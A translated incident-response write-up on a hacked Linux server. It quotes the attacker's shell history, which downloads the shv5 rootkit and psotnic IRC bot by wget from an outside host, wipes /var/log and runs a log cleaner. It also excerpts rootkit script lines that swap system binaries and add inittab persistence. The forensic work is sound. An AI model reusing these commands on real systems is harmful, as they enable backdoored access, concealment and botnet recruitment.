一次服务器被入侵后的分析

运维 系统运维
最近有个朋友让我去帮他看一下他的Linux服务器,说是apache启动不了,有很多诡异的情况。后来证明绝不是apache启动不了这么简单。本文将这次服务器被入侵后的分析整理出来,和大家分享一下。

最近有个朋友让我去帮他看一下他的Linux服务器,说是Apache启动不了,有很多诡异的情况。后来证明绝不是Apache启动不了这么简单。

登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:

 

  1. lars@server1:~$ ls 
  2.   ls: invalid option -- h 
  3.   Try `ls --help' for more information. 

 

为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了。

  1. lars@server1:~$ alias ls 
  2.   alias ls='ls -sh --color=auto' 
  3.   lars@server1:~$ unalias ls 
  4.   lars@server1:~$ ls 
  5.   backup 
  6.   lars@server1:~$ 

 

虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题。

  1. lars@server1:~$ sudo /etc/init.d/apache2 start 
  2.   Password: 
  3.    * Starting apache 2.0 web server... 
  4.   (2): apache2: could not open error log file /var/log/apache2/error.log. 
  5.   Unable to open logs 
  6.    ...fail! 

 

纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题。

  1. lars@server1:~$ sudo -i 
  2.    Password: 
  3.    root@server1:~# ls 
  4.    ls: unrecognized prefix: do 
  5.    ls: unparsable value for LS_COLORS environment variable 
  6.    total 44 
  7.      4 .                 4 .bashrc           4 .ssh 
  8.      4 ..                4 .lesshst          8 .viminfo 
  9.      8 .bash_history     4 .profile          4 .vimrc 

 

很不幸的发现,”ls”又出问题了.同样,用”alias”命令:

  1. root@server1:~# alias ls 
  2.    alias ls='ls -sa --color=auto' 
  3.    root@server1:~# unalias ls 
  4.    root@server1:~# ls 
  5.    root@server1:~# 

 

这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了。

  1. root@server1:~# cat -n .bash_history 
  2.    ... 
  3.    340  w 
  4.    341  cd /var 
  5.    342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz 
  6.    343  tar -zxf shv5.tar.gz 
  7.    344  rm -rf shv5.tar.gz 
  8.    345  mv shv5 .x 
  9.    346  cd .x 
  10.    347  ./setup zibi.joe.149 54098 
  11.    348  passwd 
  12.    349  passwd 
  13.    350  ps aux 
  14.    351  crontab -l 
  15.    352  cat /etc/issue 
  16.    353  cat /etc/passwd 
  17.    354  w 
  18.    355  who 
  19.    356  cd /usr/lib/libsh 
  20.    357  ls 
  21.    358  hide + 
  22.    359  chmod +x hide 
  23.    360  hide + 
  24.    361  ./hide + 
  25.    362  cd /var/.x 
  26.    363  mkdir psotnic 
  27.    364  cd psotnic 
  28.    365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 
  29.    366  tar -zxf psotnic0.2.5.tar.gz 
  30.    367  rm -rf psotnic0.2.5.tar.gz 
  31.    368  ls 
  32.    369  mv psotnic-0.2.5-linux-static-ipv6 synscan 
  33.    370  ./synscan 
  34.    371  vi conf 
  35.    372  vi conf1 
  36.    373  mv synscan smbd 
  37.    374  smbd -c conf 
  38.    375  ls 
  39.    376  ps aux 
  40.    377  ls 
  41.    378  ./smbd -c conf 
  42.    379  ./smbd -c conf1 
  43.    380  ./smbd conf 
  44.    381  ./smbd conf1 
  45.    382  ./smbd -a conf conf1 
  46.    383  rm -rf conf.dec 
  47.    384  rm -rf conf1.dec 
  48.    385  cd /usr/lib/libsh 
  49.    386  ./hide + 
  50.    387  exit 
  51.    ... 
  52.    425  ssh ftp@62.101.251.166 
  53.    426  w 
  54.    427  ls 
  55.    428  ls 
  56.    429  cd /var/.x 
  57.    430  ls 
  58.    431  cd psotnic/ 
  59.    432  ls 
  60.    433  rm -rf /var/log/* 
  61.    434  exit 
  62.    435  ls 
  63.    436  cd /var/.x/psotnic/ 
  64.    437  ls 
  65.    438  vi conf2 
  66.    439  ./smbd -c conf2 
  67.    440  ./smbd conf2 
  68.    441  ./smbd -a conf conf1 conf2 
  69.    442  rm -rf conf2.dec 
  70.    443  cd .. 
  71.    444  ls 
  72.    445  cd /usr/lib/libsh 
  73.    446  hide + 
  74.    447  ./hide + 
  75.    448  exit 
  76.    449  ps aux 
  77.    450  cd /var/.x 
  78.    451  ls 
  79.    452  ls 
  80.    453  cd psotnic/ 
  81.    454  ls 
  82.    455  cat pid.MastaH 
  83.    456  kill -9 2030 
  84.    457  ./synscan -a conf conf1 
  85.    458  ./smbd -a conf conf1 
  86.    459  cd /usr/lib/libsh 
  87.    460  ./hide + 

 

这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵。#p#

通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧。

  1. root@server1:/var/.x# file setup 
  2.   setup: Bourne-Again shell script text executable 
  3.   root@server1:/var/.x# wc -l setup 
  4.   825 setup 
  5.   root@server1:/var/.x# head -17 setup 
  6.   #!/bin/bash 
  7.   # 
  8.   # shv5-internal-release 
  9.   # by: PinT[x] April/2003 
  10.   # 
  11.   # greetz to: 
  12.   # 
  13.   # [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 
  14.   #                 C00L|0, GolDenLord, Spike, zion ... 
  15.   # [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ... 
  16.   # [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ... 
  17.   # [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc.. 
  18.   # [*] And all others who diserve to be here but i forgot 
  19.   # [*] them at the moment ! 
  20.   # 
  21.   # PRIVATE ! DO NOT DISTRIBUTE *censored*EZ ! 

 

“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)

  1. mv $SSHDIR/sshd /sbin/ttyload 
  2.    chmod a+xr /sbin/ttyload 
  3.    chmod o-w /sbin/ttyload 
  4.    touch -acmr /bin/ls /sbin/ttyload 
  5.    chattr +isa /sbin/ttyload 
  6.    kill -9 `pidof ttyload` >/dev/null 2>&1 
  7.    .... 
  8.    # INITTAB SHUFFLING 
  9.    chattr -isa /etc/inittab 
  10.    cat /etc/inittab |grep -v ttyload|grep -v getty > /tmp/.init1 
  11.    cat /etc/inittab |grep getty > /tmp/.init2 
  12.    echo "# Loading standard ttys" >> /tmp/.init1 
  13.    echo "0:2345:once:/usr/sbin/ttyload" >> /tmp/.init1 

 

它也替换了一些linux的标准命令。

  1. # Backdoor ps/top/du/ls/netstat/etc.. 
  2.    cd $BASEDIR/bin 
  3.    BACKUP=/usr/lib/libsh/.backup 
  4.    mkdir $BACKUP 
  5.    ... 
  6.    # ls ... 
  7.    chattr -isa /bin/ls 
  8.    cp /bin/ls $BACKUP 
  9.    mv -f ls /bin/ls 
  10.    chattr +isa /bin/ls 

 

这样子就可以解释为什么”ls”命令输出那么奇怪了。

“.backup”文件夹保存了被替换之前的命令程序。

  1. root@server1:/var/.x# ls -l /usr/lib/libsh/.backup/ 
  2.   total 552 
  3.   -rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find 
  4.   -rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig 
  5.   -rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls 
  6.   -rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum 
  7.   -rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat 
  8.   -rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps 
  9.   -rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree 
  10.   -rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top 

 

看了一下时间戳,居然是在圣诞节。

很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:

 

  1. root@server1:~# md5sum /usr/lib/libsh/.backup/ls /bin/ls 
  2. eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls 
  3. 0a07cf554c1a74ad974416f60916b78d  /bin/ls 
  4.   
  5. root@server1:~# file /bin/ls 
  6. /bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked 
  7. (uses shared libs), for GNU/Linux 2.0.0, stripped 
  8.   
  9. root@server1:~# file /usr/lib/libsh/.backup/ls 
  10. /usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked 
  11. (uses shared libs), for GNU/Linux 2.6.0, stripped 

这个rootkit(“sh5.tar.gz”)是从下面的地址下载的。

  1. root@server1:~# dig +short -x 83.19.148.250 
  2.    4lo.bydg.pl. 

 

这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.

这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)

rq1

所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:

rq2

安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的。

然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了。

 

  1. vi conf 
  2. vi conf1 
  3. .... 
  4. ./smbd -c conf 
  5. ./smbd -c conf1 
  6. ./smbd conf 
  7. ./smbd conf1 
  8. ./smbd -a conf conf1 

 

让我们执行一下382这条命令,看看会发生什么。

  1. root@server1:/var/.x/psotnic# ./smbd -a conf conf1 
  2.    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) 
  3.    Copyright (C) 2003-2005 Grzegorz Rusin 
  4.    [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 
  5.    [+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 
  6.    [+] Added 2 psotnics to cron 

 

哇!它添加了cron定时任务.赶紧看一看:

 

  1. root@server1:/var/.x/psotnic# crontab -l 
  2.    */10 * * * * cd /var/.x/psotnic; ./smbd conf >/dev/null 2>&1 
  3.    */10 * * * * cd /var/.x/psotnic; ./smbd conf1 >/dev/null 2>&1 

 

#p#

接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程:

  1. root@server1:~# cd /var/.x/psotnic; ./smbd conf 
  2.   
  3.    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) 
  4.    Copyright (C) 2003-2005 Grzegorz Rusin 
  5.   
  6.    [*] Acting as LEAF 
  7.    [+] Config loaded 
  8.    [+] Going into background [pid: 5724] 
  9.    root@server1:/var/.x/psotnic# ./smbd conf1 
  10.   
  11.    Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49) 
  12.    Copyright (C) 2003-2005 Grzegorz Rusin 
  13.   
  14.    [*] Acting as LEAF 
  15.    [+] Config loaded 
  16.    [+] Going into background [pid: 5727] 
  17.    root@server1:/var/.x/psotnic# 

 

用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程。

  1. root@server1:/var/.x/psotnic# ps axuw | grep smb 
  2.    root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D 
  3.    root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D 
  4.    root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf 
  5.    root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1 

 

最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么:

 

  1. root@server1:~# strace -p 5727 
  2.    ... 
  3.    connect(3, {sa_family=AF_INETsin_port=htons(9714), sin_addr=inet_addr("83.18.74.235")}, 16) = -1 EINPROGRESS (Operation now in progress) 
  4.    ... 
  5.    connect(4, {sa_family=AF_INETsin_port=htons(6667), sin_addr=inet_addr("195.159.0.92")}, 16) = -1 EINPROGRESS (Operation now in progress) 

 

可以看到它尝试连接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:

  1. root@server1:~# dig +short -x 83.18.74.235 
  2.    manhattan.na.pl. 
  3.    root@server1:~# dig +short -x 195.159.0.92 
  4.    ircnet.irc.powertech.no. 

 

又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器。

tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”#aik”频道。

 

 

  1. :irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no 
  2.     :irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1 
  3.   
  4.     :578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik 
  5.     :irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo 
  6.     :irc.powertech.no 366 578PAB9NB #aik :End of NAMES list. 
  7.     :irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW 
  8.     :irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW 
  9.     :irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW 
  10.     :irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW 
  11.     :irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW 
  12.     :irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW 
  13.     :irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW 
  14.     :irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet.. 
  15.     :irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW 
  16.     :irc.powertech.no 315 578PAB9NB #aik :End of WHO list. 
  17.   
  18. 这些仅仅是加入#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了. 
  19.   
  20.     17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik 
  21.     17:43 [Users #aik] 
  22.     17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ] 
  23.     17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz] 
  24.     17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal] 
  25.     17:43 -!- Irssi: Join to #aik was synced in 1 secs 

 

 

我发现我朋友的服务器使用的昵称是”578PQB9NB”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”\*-GTW”,只有一个没有:

  1. 17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at] 
  2. 17:45 [powertech] -!-  ircname  : LaPi@IRCNet 
  3. 17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl 
  4.    #pingwinaria #hattrick #trade #admin @#!sh 
  5.    17:45 [powertech] -!-  server   : *.at [\o\  \o/  /o/] 

 

这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了:

  1. $ dig +short campus19.panorama.sth.ac.at 
  2.    193.170.51.84 

 

根据RIPE的数据,这个ip属于Vienna University计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了:

 

  1. From: Alexander Talos via RT 
  2.    To: larstra@ifi.uio.no 
  3.    Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603] 
  4.    Date: Fri, 18 May 2007 18:22:43 +0200 (CEST) 
  5.    Reply-To: cert@aco.net 
  6.   
  7.    -----BEGIN PGP SIGNED MESSAGE----- 
  8.    Hash: SHA1 
  9.   
  10.    Hej! 
  11.   
  12.    On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote: 
  13.   
  14.    > I have been tracking down cracker which connected from 
  15.    > campus19.panorama.sth.ac.at (193.170.51.84). The user, which 
  16.   
  17.    Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all 
  18.    behind a NAT gateway - it will be very hard to get hold of the 
  19.    miscreant. 
  20.   
  21.    This incident will, in the long run, definitely help me getting 
  22.    rid of the NAT boxes in setups like that, but right now, we will 
  23.    have to make do with what we have. 
  24.   
  25.    > Please investigate the host in question. Perhaps is this a 
  26.    > compromised host on your network acting as a jumpstation for 
  27.   
  28.    Sure, and even in a NATed environment, this is still possible. 
  29.   
  30.    Btw, you did a great job in analysing the compromised machine! 
  31.   
  32.    I'll let you know when I have either further questions or any 
  33.    interesting results. 
  34.   
  35.    Cheers, 
  36.   
  37.    Alexander Talos 
  38.   
  39.    - -- 
  40.    IT-Security, Universitaet Wien, ACOnet CERT 
  41.   
  42.    T: +43-1-4277-14351  M: +43-664-60277-14351 
 

 

看起来我不够幸运。#p#

接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口。

连接到”83.18.74.235″的流量看起来很混乱.只好再次用strace命令:

 

  1. root@server1:/var/.x/psotnic# strace -f ./smbd conf1 &> /root/dump.strace 

 

跟预期的一样,有很多输出,其中一个是它尝试启动”BitchX”,这是一个irc客户端.但是失败了,因为BitchX没有安装:

  1. [pid  7537] write(2, "sh: ", 4)         = 4 
  2.    [pid  7537] write(2, "BitchX: not found", 17) = 17 
  3.    [pid  7537] write(2, "n", 1)           = 1 
  4.    [pid  7537] close(2)                    = 0 

 

下面的截图是tcpdump抓到流量的一部分:

rq3

这仅仅是两个假的smbd进程中的一个.另外一个也连到了两个irc服务器,一个是波兰这个,另外一个是”irc.hitos.no”,位于挪威的特罗姆斯郡。

入侵者除了这些,还运行了一个叫”hide”的脚本来清除日志:

  1. root@server1:/usr/lib/libsh# ./hide + 
  2.    Linux Hider v2.0 by mave 
  3.    enhanced by me! 
  4.    [+] [Shkupi Logcleaner] Removing + from the logs........ . 
  5.   
  6.    [+] /var/log/messages  ... [done] 
  7.   
  8.    [+] /var/run/utmp      ... [done] 
  9.   
  10.    [+] /var/log/lastlog   ... [done] 
  11.   
  12.    [+] /var/log/wtmp      ... [done] 
  13.   
  14.    * m i s s i o n  a c c o m p l i s h e d * 
  15.   
  16.    p.h.e.e.r  S.H.c.r.e.w 

 

那么这个入侵者为什么还要把”/var/log/”目录全删除了呢,是不相信这个工具么?还是他特别害怕?

可以看到这个服务器被入侵了,安装了后门而且加入了僵尸网咯.但是入侵者犯了几个错误导致他可能被侦查到:

1、忘记清除”.bash_history”文件

2、“/var/log”目录下所有文件都删除了.导致某些程序无法启动.很容易被发现.

3、修改了root的密码.又是一个愚蠢的行为.永远不要修改root密码,这个必然会引起管理员的注意.

4、irc的频道没有密码保护.虽然即使有密码,我们也可以抓包分析出来.

5、入侵者平时就在僵尸网络的频道闲逛?如果是这样的话那他已经暴露了.

当然还有几个遗留的问题:

1、”ssh ftp@62.101.251.166″ 这个命令是干嘛的.是入侵者不小心敲错了么还是有其他的目的?

 

  1. $ dig +short -x 62.101.251.166 
  2.      cA6FB653E.dhcp.bluecom.no. 

 

2、跟83.18.74.235(manhattan.na.pl)的通讯内容是什么?

3、最重要的问题是他一开始是如何或得下系统的权限的?这个服务器运行的是Ubuntu 6.06 LTS,打了最新的补丁。可能入侵的途径:

*猜测root密码,不幸的是这个密码是强密码*

*未知的exploit*

*某个用户在已经被攻陷的主机上登录这台服务器.入侵者嗅探到了密码.*

原文出处: lars strand   译文出处: freebuf

【编辑推荐】

 

  1. 六种Linux桌面的最佳特性和最差特性
  2. Linux系统监控知识分享
  3. 如何在Linux桌面或Mac上运行Windows应用程序?
  4. Linux 环境下快速部署 MySQL 的替代方案
  5. 高效Linux用户需要了解的命令行技能
  6. 如何找到一款适合自己的Linux发行版?

 

【责任编辑:黄丹 TEL:(010)68476606】

责任编辑:黄丹 来源: jobbole.com
相关推荐

2022-02-17 11:19:33

Kubernetes服务器运维

2013-12-24 13:59:03

2016-09-08 22:54:14

2013-12-23 09:38:11

2022-09-14 12:01:35

服务器入侵篡改,

2019-08-01 15:05:22

2009-10-22 13:18:03

2019-06-11 09:23:38

2017-10-18 09:06:41

2011-03-04 12:33:16

2022-10-25 08:56:16

2018-05-30 11:09:41

memcache服务器故障

2010-04-28 17:14:52

Google服务器

2019-06-10 15:20:18

2020-03-22 15:17:17

服务器科技芯片

2019-10-25 22:06:38

服务器开发工具

2014-08-29 09:09:33

2017-12-06 19:00:53

2018-03-02 10:42:44

2014-08-01 14:06:45

点赞
收藏

51CTO技术栈公众号